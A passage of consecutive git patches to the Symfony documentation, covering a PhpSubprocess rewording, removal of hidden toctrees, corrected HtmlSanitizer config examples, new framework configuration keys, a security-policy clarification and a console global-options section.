+usage of ``Process`` with :class:`Symfony\\Component\\Process\\PhpSubprocess`::
+
+    use Symfony\Component\Process\PhpSubprocess;
+
+    class MyCommand extends Command
+    {
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $childProcess = new PhpSubprocess(['bin/console', 'cache:pool:prune']);
+        }
+    }
+
 Process Timeout
 ---------------
 

From 89b0f5806472b97a63eb89300280c1570954ebad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Aug 2023 17:50:02 +0200
Subject: [PATCH 3634/5766] Reword

---
 components/process.rst | 42 ++++++++++++++++--------------------------
 1 file changed, 16 insertions(+), 26 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index f3a2570cdc9..158b8d0bd5a 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -410,19 +410,22 @@ instead::
     );
     $process->run();
 
-Executing a PHP child processes with the same configuration
------------------------------------------------------------
+Executing a PHP Child Process with the Same Configuration
+---------------------------------------------------------
 
 .. versionadded:: 6.4
 
-    The ``PhpSubprocess`` helper was added in Symfony 6.4.
+    The ``PhpSubprocess`` helper was introduced in Symfony 6.4.
 
-When you start a PHP process, it's started using its default ``ini`` settings. Let's assume you have a configured
-``memory_limit`` of ``256M`` in your `php.ini` and you want to disable it when running your ``bin/console`` script to access
-the Symfony console without any memory limit. You can then dynamically override it using the ``-d`` command line option
-like so: ``php -d memory_limit=-1 bin/console app:my-command``.
+When you start a PHP process, it uses the default configuration defined in
+your ``php.ini`` file. You can bypass these options with the ``-d`` command line
+option. For example, if ``memory_limit`` is set to ``256M``, you can disable this
+memory limit when running some command like this:
+``php -d memory_limit=-1 bin/console app:my-command``.
 
-Problem solved. However, let's assume you have an ``app:my-command`` that itself again, starts a PHP child process::
+However, if you run the command via the Symfony ``Process`` class, PHP will use
+the settings defined in the ``php.ini`` file. You can solve this issue by using
+the :class:`Symfony\\Component\\Process\\PhpSubprocess` class to run the command::
 
     use Symfony\Component\Process\Process;
 
@@ -430,26 +433,13 @@ Problem solved. However, let's assume you have an ``app:my-command`` that itself
     {
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
+            // the memory_limit (and any other config option) of this command is
+            // the one defined in php.ini instead of the new values (optionally)
+            // passed via the '-d' command option
             $childProcess = new Process(['bin/console', 'cache:pool:prune']);
-        }
-    }
-
-What happens now is that PHP will start the ``bin/console cache:pool:prune`` command with a ``memory_limit`` of ``256M``. That's
-because this is your ``ini`` setting.
-
-If you want to make sure that the child processes inherit the dynamically adjusted configuration as well, there is only one
-way to do that: You have to write a temporary ``ini`` file with all the current settings and start the child process using
-``php -c temporary.ini bin/console cache:pool:prune``.
-
-Doing this yourself can be cumbersome but don't worry, Symfony's got you covered! All you need to do is replace the
-usage of ``Process`` with :class:`Symfony\\Component\\Process\\PhpSubprocess`::
 
-    use Symfony\Component\Process\PhpSubprocess;
-
-    class MyCommand extends Command
-    {
-        protected function execute(InputInterface $input, OutputInterface $output): int
-        {
+            // the memory_limit (and any other config option) of this command takes
+            // into account the values (optionally) passed via the '-d' command option
             $childProcess = new PhpSubprocess(['bin/console', 'cache:pool:prune']);
         }
     }

From 16eeb74b0c441c14e5a9caa885501a6d8dda723a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 8 Aug 2023 19:26:54 +0200
Subject: [PATCH 3635/5766] Remove hidden toctree

---
 components/console/helpers/index.rst | 11 ----
 contributing/index.rst               | 10 ----
 controller.rst                       |  5 --
 frontend.rst                         |  9 ----
 index.rst                            | 25 ---------
 page_creation.rst                    |  5 --
 reference/constraints.rst            | 80 ----------------------------
 reference/forms/types.rst            | 52 ------------------
 reference/index.rst                  | 22 --------
 routing.rst                          |  5 --
 setup.rst                            |  5 --
 11 files changed, 229 deletions(-)

diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 81cf8aae9bf..893652fb5ab 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -1,17 +1,6 @@
 The Console Helpers
 ===================
 
-.. toctree::
-    :hidden:
-
-    formatterhelper
-    processhelper
-    progressbar
-    questionhelper
-    table
-    debug_formatter
-    cursor
-
 The Console component comes with some useful helpers. These helpers contain
 functions to ease some common tasks.
 
diff --git a/contributing/index.rst b/contributing/index.rst
index d76b4a8e037..c44ee7606a1 100644
--- a/contributing/index.rst
+++ b/contributing/index.rst
@@ -1,14 +1,4 @@
 Contributing
 ============
 
-.. toctree::
-    :hidden:
-
-    code_of_conduct/index
-    code/index
-    documentation/index
-    translations/index
-    community/index
-    diversity/index
-
 .. include:: /contributing/map.rst.inc
diff --git a/controller.rst b/controller.rst
index 58e7e83d854..c3a11e99a6a 100644
--- a/controller.rst
+++ b/controller.rst
@@ -558,11 +558,6 @@ Next, learn all about :doc:`rendering templates with Twig </templates>`.
 Learn more about Controllers
 ----------------------------
 
-.. toctree::
-    :hidden:
-
-    templates
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/frontend.rst b/frontend.rst
index ad30b996462..b16c55937d4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -92,15 +92,6 @@ Symfony UX Components
 Other Front-End Articles
 ------------------------
 
-.. toctree::
-    :hidden:
-    :glob:
-
-    frontend/assetic/index
-    frontend/encore/installation
-    frontend/encore/simple-example
-    frontend/encore/*
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/index.rst b/index.rst
index 288febd7ab8..d4663a94a68 100644
--- a/index.rst
+++ b/index.rst
@@ -8,11 +8,6 @@ Quick Tour
 
 Get started fast with the Symfony :doc:`Quick Tour <quick_tour/index>`:
 
-.. toctree::
-    :hidden:
-
-    quick_tour/index
-
 * :doc:`quick_tour/the_big_picture`
 * :doc:`quick_tour/flex_recipes`
 * :doc:`quick_tour/the_architecture`
@@ -68,11 +63,6 @@ Topics
 Components
 ----------
 
-.. toctree::
-    :hidden:
-
-    components/
-
 Read the :doc:`Components </components/>` documentation.
 
 Reference Documents
@@ -80,11 +70,6 @@ Reference Documents
 
 Get answers quickly with reference documents:
 
-.. toctree::
-    :hidden:
-
-    reference/index
-
 .. include:: /reference/map.rst.inc
 
 Contributing
@@ -92,11 +77,6 @@ Contributing
 
 Contribute to Symfony:
 
-.. toctree::
-    :hidden:
-
-    contributing/index
-
 .. include:: /contributing/map.rst.inc
 
 Create your Own Framework
@@ -104,9 +84,4 @@ Create your Own Framework
 
 Want to create your own framework based on Symfony?
 
-.. toctree::
-    :hidden:
-
-    create_framework/index
-
 .. include:: /create_framework/map.rst.inc
diff --git a/page_creation.rst b/page_creation.rst
index b053e0a88a7..a7d6e84c199 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -349,11 +349,6 @@ Have fun!
 Go Deeper with HTTP & Framework Fundamentals
 --------------------------------------------
 
-.. toctree::
-    :hidden:
-
-    routing
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/reference/constraints.rst b/reference/constraints.rst
index aa341d95883..bb506bf4576 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -1,86 +1,6 @@
 Validation Constraints Reference
 ================================
 
-.. toctree::
-   :maxdepth: 1
-   :hidden:
-
-   constraints/NotBlank
-   constraints/Blank
-   constraints/NotNull
-   constraints/IsNull
-   constraints/IsTrue
-   constraints/IsFalse
-   constraints/Type
-
-   constraints/Email
-   constraints/ExpressionLanguageSyntax
-   constraints/Length
-   constraints/Url
-   constraints/Regex
-   constraints/Hostname
-   constraints/Ip
-   constraints/Uuid
-   constraints/Ulid
-   constraints/Json
-
-   constraints/EqualTo
-   constraints/NotEqualTo
-   constraints/IdenticalTo
-   constraints/NotIdenticalTo
-   constraints/LessThan
-   constraints/LessThanOrEqual
-   constraints/GreaterThan
-   constraints/GreaterThanOrEqual
-   constraints/Range
-   constraints/DivisibleBy
-   constraints/Unique
-
-   constraints/Positive
-   constraints/PositiveOrZero
-   constraints/Negative
-   constraints/NegativeOrZero
-
-   constraints/Date
-   constraints/DateTime
-   constraints/Time
-   constraints/Timezone
-
-   constraints/Choice
-   constraints/Collection
-   constraints/Count
-   constraints/UniqueEntity
-   constraints/Language
-   constraints/Locale
-   constraints/Country
-
-   constraints/File
-   constraints/Image
-
-   constraints/CardScheme
-   constraints/Currency
-   constraints/Luhn
-   constraints/Iban
-   constraints/Bic
-   constraints/Isbn
-   constraints/Issn
-   constraints/Isin
-
-   constraints/AtLeastOneOf
-   constraints/Sequentially
-   constraints/Compound
-   constraints/Callback
-   constraints/Expression
-   constraints/All
-   constraints/UserPassword
-   constraints/NotCompromisedPassword
-   constraints/Valid
-   constraints/Traverse
-   constraints/CssColor
-   constraints/Cascade
-   constraints/EnableAutoMapping
-   constraints/DisableAutoMapping
-
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
 Symfony, constraints are similar: They are assertions that a condition is
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index aeb8d48ece9..26668d6d78a 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -1,58 +1,6 @@
 Form Types Reference
 ====================
 
-.. toctree::
-   :maxdepth: 1
-   :hidden:
-
-   types/text
-   types/textarea
-   types/email
-   types/integer
-   types/money
-   types/number
-   types/password
-   types/percent
-   types/search
-   types/url
-   types/range
-   types/tel
-   types/color
-
-   types/choice
-   types/enum
-   types/entity
-   types/country
-   types/language
-   types/locale
-   types/timezone
-   types/currency
-
-   types/date
-   types/dateinterval
-   types/datetime
-   types/time
-   types/birthday
-   types/week
-
-   types/checkbox
-   types/file
-   types/radio
-
-   types/uuid
-   types/ulid
-
-   types/collection
-   types/repeated
-
-   types/hidden
-
-   types/button
-   types/reset
-   types/submit
-
-   types/form
-
 A form is composed of *fields*, each of which are built with the help of
 a field *type* (e.g. ``TextType``, ``ChoiceType``, etc). Symfony comes
 standard with a large list of field types that can be used in your application.
diff --git a/reference/index.rst b/reference/index.rst
index 82edbcc0130..38e0e38800e 100644
--- a/reference/index.rst
+++ b/reference/index.rst
@@ -1,26 +1,4 @@
 Reference Documents
 ===================
 
-.. toctree::
-    :hidden:
-
-    configuration/framework
-    configuration/doctrine
-    configuration/security
-    configuration/swiftmailer
-    configuration/twig
-    configuration/monolog
-    configuration/web_profiler
-    configuration/debug
-
-    configuration/kernel
-
-    forms/types
-    constraints
-
-    twig_reference
-
-    dic_tags
-    events
-
 .. include:: /reference/map.rst.inc
diff --git a/routing.rst b/routing.rst
index 3c08ccef960..ad7062e5fa5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -3055,11 +3055,6 @@ or, in Twig:
 Learn more about Routing
 ------------------------
 
-.. toctree::
-    :hidden:
-
-    controller
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/setup.rst b/setup.rst
index ca52f8bfc69..9b7620d4164 100644
--- a/setup.rst
+++ b/setup.rst
@@ -301,11 +301,6 @@ With setup behind you, it's time to :doc:`Create your first page in Symfony </pa
 Learn More
 ----------
 
-.. toctree::
-    :hidden:
-
-    page_creation
-
 .. toctree::
     :maxdepth: 1
     :glob:

From a109537c017a3e74229d3b661e6f7d61b7781412 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 8 Aug 2023 14:52:11 +0200
Subject: [PATCH 3636/5766] [HtmlSanitizer] fix PHP config examples

---
 html_sanitizer.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index e6cb9d47000..baef54e79d4 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -370,7 +370,7 @@ attributes from the `W3C Standard Proposal`_ are allowed.
                     ->allowElement('img', 'src')
 
                     // allow the <h1> element with all safe attributes
-                    ->allowElement('h1')
+                    ->allowElement('h1', '*')
             ;
         };
 
@@ -611,14 +611,13 @@ This option allows you to disallow attributes that were allowed before.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the "data-attr" on all safe elements...
-                    ->allowAttribute('data-attr')
-                        ->element('*')
+                    ->allowAttribute('data-attr', '*')
 
                     // ...except for the <section> element
                     ->dropAttribute('data-attr', ['section'])
 
                     // disallows "style' on any allowed element
-                    ->dropAttribute('style')
+                    ->dropAttribute('style', '*')
             ;
         };
 
@@ -630,13 +629,13 @@ This option allows you to disallow attributes that were allowed before.
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
                 // allow the "data-attr" on all safe elements...
-                ->allowAttribute('data-attr')
+                ->allowAttribute('data-attr', '*')
 
                 // ...except for the <section> element
                 ->dropAttribute('data-attr', ['section'])
 
                 // disallows "style' on any allowed element
-                ->dropAttribute('style')
+                ->dropAttribute('style', '*')
         );
 
 Force Attribute Values
@@ -688,7 +687,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    ->forceAttribute('a', 'rel', 'noopener noreferrer')
+                    ->forceAttribute('a', ['rel' => 'noopener noreferrer'])
             ;
         };
 
@@ -793,7 +792,7 @@ URLs of ``<a>`` elements:
                     // specifies the allowed hosts, the attribute will be dropped if the
                     // URL contains a different host. Subdomains are allowed: e.g. the following
                     // config would also allow 'www.symfony.com', 'live.symfony.com', etc.
-                    ->allowedLinkHost('symfony.com')
+                    ->allowedLinkHosts(['symfony.com'])
 
                     // whether to allow relative links (i.e. URLs without scheme and host)
                     ->allowRelativeLinks(true)
@@ -912,7 +911,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
                     // contains a different host which is not a subdomain of the allowed host
-                    ->allowedMediaHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
+                    ->allowedMediaHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com)
 
                     // whether to allow relative URLs (i.e. URLs without scheme and host)
                     ->allowRelativeMedias(true)

From 3a31df78e9ba3aeb1609003297517ddfa47dea96 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 9 Aug 2023 09:20:26 +0200
Subject: [PATCH 3637/5766] [Serializer] Add `TranslatableNormalizer`

---
 components/serializer.rst | 14 ++++++++++++++
 serializer.rst            |  1 +
 2 files changed, 15 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3a5d0c1a01a..e8646ac3294 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -882,6 +882,20 @@ The Serializer component provides several built-in normalizers:
     Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
+    translated strings, using the
+    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
+    method. You can define the locale to use to translate the object by
+    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
+    context option.
+
+    .. versionadded:: 6.4
+
+        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+        was introduced in Symfony 6.4.
+
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at
diff --git a/serializer.rst b/serializer.rst
index b483ad903d4..26fc2719fca 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -75,6 +75,7 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 01d76d32f294ce0c9584b495b4bbaf68d17a8e34 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Wed, 9 Aug 2023 13:53:19 +0200
Subject: [PATCH 3638/5766] Update typed property array => ArrayCollection to
 prevent errors

When using strict type checking you could get errors like:
```
TypeError: Cannot assign Doctrine\Common\Collections\ArrayCollection to property App\Entity\Category::$products of type array
```

Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com>
---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index b17877c4bdf..09561386d0b 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -220,7 +220,7 @@ class that will hold these objects:
             // ...
 
             #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')]
-            private array $products;
+            private Collection $products;
 
             public function __construct()
             {

From 4bfe71c780be1d276cebd76625f1325afa7ca3b8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 9 Aug 2023 14:02:09 +0200
Subject: [PATCH 3639/5766] [Framework] Add missing configuration keys

---
 reference/configuration/framework.rst | 59 +++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 824e30d9f63..52f9e78a823 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1541,6 +1541,40 @@ If the charset of your application is UTF-8 (as defined in the
 recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
 errors.
 
+secrets
+~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true``
+
+Whether to enable or not secrets managements.
+
+decryption_env_var
+..................
+
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+
+The env var name that contains the vault decryption secret. By default, this
+value will be decoded from base64.
+
+local_dotenv_file
+.................
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+
+The path to the local ``.env`` file. This file must contain the vault
+decryption key, given by the ``decryption_env_var`` option.
+
+vault_directory
+...............
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%``
+
+The directory to store the secret vault. By default, the path uses the current
+environment.
+
 .. _config-framework-session:
 
 session
@@ -1874,6 +1908,16 @@ This specifies if the session ID is stored on the client side using cookies or
 not. By default, it will use the value defined in the ``php.ini`` with the
 ``session.use_cookies`` directive.
 
+ssi
+~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``false``
+
+Whether to enable or not SSI support in your application.
+
 assets
 ~~~~~~
 
@@ -3392,6 +3436,21 @@ header name and value the header value.
 
     For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
 
+messenger
+~~~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true``
+
+Whether to enable or not Messenger.
+
+.. seealso::
+
+    For more details, see the :doc:`Messenger component </messenger>`
+    documentation.
+
 web_link
 ~~~~~~~~
 

From e2b2df8c2e990d3bc6d2179aec7dadc2223bf6e3 Mon Sep 17 00:00:00 2001
From: Steven Renaux <steven.renaux@sensiolabs.com>
Date: Wed, 9 Aug 2023 16:58:30 +0200
Subject: [PATCH 3640/5766] Removing unavailable link

---
 contributing/code/bugs.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index 6a05f2cdf6d..fba68617ee3 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -14,9 +14,8 @@ Before submitting a bug:
 * Double-check the official :doc:`documentation </index>` to see if you're not misusing the
   framework;
 
-* Ask for assistance on `Stack Overflow`_, on the #support channel of
-  `the Symfony Slack`_ or on the ``#symfony`` `IRC channel`_ if you're not sure if
-  your issue really is a bug.
+* Ask for assistance on `Stack Overflow`_ or on the #support channel of
+  `the Symfony Slack`_  if you're not sure if your issue really is a bug.
 
 If your problem definitely looks like a bug, report it using the official bug
 `tracker`_ and follow some basic rules:
@@ -48,7 +47,6 @@ If your problem definitely looks like a bug, report it using the official bug
 * *(optional)* Attach a :doc:`patch <pull_requests>`.
 
 .. _`Stack Overflow`: https://stackoverflow.com/questions/tagged/symfony
-.. _IRC channel: https://symfony.com/irc
 .. _the Symfony Slack: https://symfony.com/slack-invite
 .. _tracker: https://github.com/symfony/symfony/issues
 .. _<details> HTML tag: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details

From 4a6e6a7a21caeb57f0d965271da9e8e19dd9fc24 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 10 Aug 2023 11:06:16 +0200
Subject: [PATCH 3641/5766] Add a note about Mock classes not considered for
 security issues

---
 contributing/code/security.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index b8e7bea3f6a..7c57e8929e6 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -21,6 +21,10 @@ email for confirmation):
   production (including the web profiler or anything enabled when ``APP_DEBUG``
   is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
 
+* Any security issues found in classes provided to help fo testing that should
+  never be used in production (like for instance mock classes that contain
+  ``Mock`` in their name);
+
 * Any fix that can be classified as **security hardening** like route
   enumeration, login throttling bypasses, denial of service attacks, timing
   attacks, or lack of ``SensitiveParameter`` attributes.

From 40d970d6d895760bd0558e22116eb19b5467366f Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 10 Aug 2023 11:36:09 +0200
Subject: [PATCH 3642/5766] [Console] Improve `Command::interact()` method
 description

---
 console.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 4078bfc221d..fb6fdd4b36f 100644
--- a/console.rst
+++ b/console.rst
@@ -461,8 +461,10 @@ command:
     This method is executed after ``initialize()`` and before ``execute()``.
     Its purpose is to check if some of the options/arguments are missing
     and interactively ask the user for those values. This is the last place
-    where you can ask for missing options/arguments. After this command,
-    missing options/arguments will result in an error.
+    where you can ask for missing required options/arguments, this method is
+    called before validating the input.
+    Note that it will not be called when the command is run without interaction
+    (e.g. when passing the ``--no-interaction`` global option flag).
 
 :method:`Symfony\\Component\\Console\\Command\\Command::execute` *(required)*
     This method is executed after ``interact()`` and ``initialize()``.

From 0d9d34bdc54ed7da51c71e92459058bc9691e53b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 10 Aug 2023 11:54:35 +0200
Subject: [PATCH 3643/5766] fix reference

---
 deployment.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index 2c755158faa..da05990b5ef 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -213,7 +213,7 @@ setup:
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to
-  install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
+  install the `symfony/apache-pack`_ package
 * etc.
 
 Application Lifecycle: Continuous Integration, QA, etc.
@@ -268,3 +268,4 @@ Learn More
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
 .. _`Platform.sh`: https://symfony.com/cloud
 .. _`Symfony CLI`: https://symfony.com/download
+.. _`symfony/apache-pack`: https://packagist.org/packages/symfony/apache-pack

From ea432f9c2516b7c89662eaf6bf83ff6efaeafc81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Aug 2023 13:20:25 +0200
Subject: [PATCH 3644/5766] Tweaks

---
 contributing/code/security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 7c57e8929e6..ba8949971a4 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -21,9 +21,9 @@ email for confirmation):
   production (including the web profiler or anything enabled when ``APP_DEBUG``
   is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
 
-* Any security issues found in classes provided to help fo testing that should
+* Any security issues found in classes provided to help for testing that should
   never be used in production (like for instance mock classes that contain
-  ``Mock`` in their name);
+  ``Mock`` in their name or classes in the ``Test`` namespace);
 
 * Any fix that can be classified as **security hardening** like route
   enumeration, login throttling bypasses, denial of service attacks, timing

From a39bbc7741b6f5c4ec8e3ce3954f1684189dd52e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Aug 2023 13:33:13 +0200
Subject: [PATCH 3645/5766] Tweak

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index fb6fdd4b36f..28b560d1f9b 100644
--- a/console.rst
+++ b/console.rst
@@ -461,7 +461,7 @@ command:
     This method is executed after ``initialize()`` and before ``execute()``.
     Its purpose is to check if some of the options/arguments are missing
     and interactively ask the user for those values. This is the last place
-    where you can ask for missing required options/arguments, this method is
+    where you can ask for missing required options/arguments. This method is
     called before validating the input.
     Note that it will not be called when the command is run without interaction
     (e.g. when passing the ``--no-interaction`` global option flag).

From 93217a3e6a2d39e666350a8e3b5644f4bfe6eedb Mon Sep 17 00:00:00 2001
From: dellamowica <clement.d@bureauxapartager.com>
Date: Fri, 28 Jul 2023 09:30:11 +0200
Subject: [PATCH 3646/5766] Fix wrong env variable name

---
 testing/bootstrap.rst | 33 ++++++---------------------------
 1 file changed, 6 insertions(+), 27 deletions(-)

diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index c075552a9e3..55d567df6aa 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -25,14 +25,12 @@ You can modify this file to add custom logic:
           (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
       }
 
-    + if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
-    +     // executes the "php bin/console cache:clear" command
-    +     passthru(sprintf(
-    +         'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
-    +         $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
-    +         __DIR__
-    +     ));
-    + }
+    + // executes the "php bin/console cache:clear" command
+    + passthru(sprintf(
+    +   'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
+    +   $_ENV['APP_ENV'],
+    +   __DIR__
+    + ));
 
 .. note::
 
@@ -48,22 +46,3 @@ You can modify this file to add custom logic:
         >
             <!-- ... -->
         </phpunit>
-
-Now, you can update the ``phpunit.xml.dist`` file to declare the custom
-environment variable introduced to ``tests/bootstrap.php``:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <phpunit>
-        <php>
-            <env name="BOOTSTRAP_CLEAR_CACHE_ENV" value="test"/>
-            <!-- ... -->
-        </php>
-
-        <!-- ... -->
-    </phpunit>
-
-Now, when running ``vendor/bin/phpunit``, the cache will be cleared
-automatically by the bootstrap file before running all tests.

From c12f5feeb3f6694c492eefaff875065832e6ac1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Aug 2023 17:54:57 +0200
Subject: [PATCH 3647/5766] Readd paragraph

---
 testing/bootstrap.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index 55d567df6aa..59fc289f0be 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -46,3 +46,6 @@ You can modify this file to add custom logic:
         >
             <!-- ... -->
         </phpunit>
+
+Now, when running ``vendor/bin/phpunit``, the cache will be cleared
+automatically by the bootstrap file before running all tests.

From 47b30d0b40b5f66b0c6dd159d2ea56142624dd11 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 11 Aug 2023 13:59:53 +0200
Subject: [PATCH 3648/5766] [Console] Add a section for global options

---
 console.rst       | 11 +++++++++++
 console/input.rst | 22 ++++++++++++++++++++++
 2 files changed, 33 insertions(+)

diff --git a/console.rst b/console.rst
index 28b560d1f9b..6eb9dd10148 100644
--- a/console.rst
+++ b/console.rst
@@ -28,6 +28,10 @@ the ``list`` command to view all available commands in the application:
       cache:clear                                Clear the cache
     ...
 
+.. note::
+
+    ``list`` is the default command, so running ``php bin/console`` is the same.
+
 If you find the command you need, you can run it with the ``--help`` option
 to view the command's documentation:
 
@@ -35,6 +39,13 @@ to view the command's documentation:
 
     $ php bin/console assets:install --help
 
+.. note::
+
+    ``--help`` is one of the built-in global options from the Console component,
+    which are available for all commands, including those you can create.
+    To learn more about them, you can read
+    :ref:`this section <console-global-options>`.
+
 APP_ENV & APP_DEBUG
 ~~~~~~~~~~~~~~~~~~~
 
diff --git a/console/input.rst b/console/input.rst
index 6a242185034..3abf3a37b9b 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -404,4 +404,26 @@ to help you unit test the completion logic::
         }
     }
 
+.. _console-global-options:
+
+Command Global Options
+----------------------
+
+The Console component adds some predefined options to all commands:
+
+* ``--verbose``: sets the verbosity level (e.g. ``1`` the default, ``2`` and
+  ``3``, or you can use respective shortcuts ``-v``, ``-vv`` and ``-vvv``)
+* ``--quiet``: disables output and interaction
+* ``--no-interaction``: disables interaction
+* ``--version``: outputs the version number of the console application
+* ``--help``: displays the command help
+* ``--ansi|--no-ansi``: whether to force of disable coloring the output
+
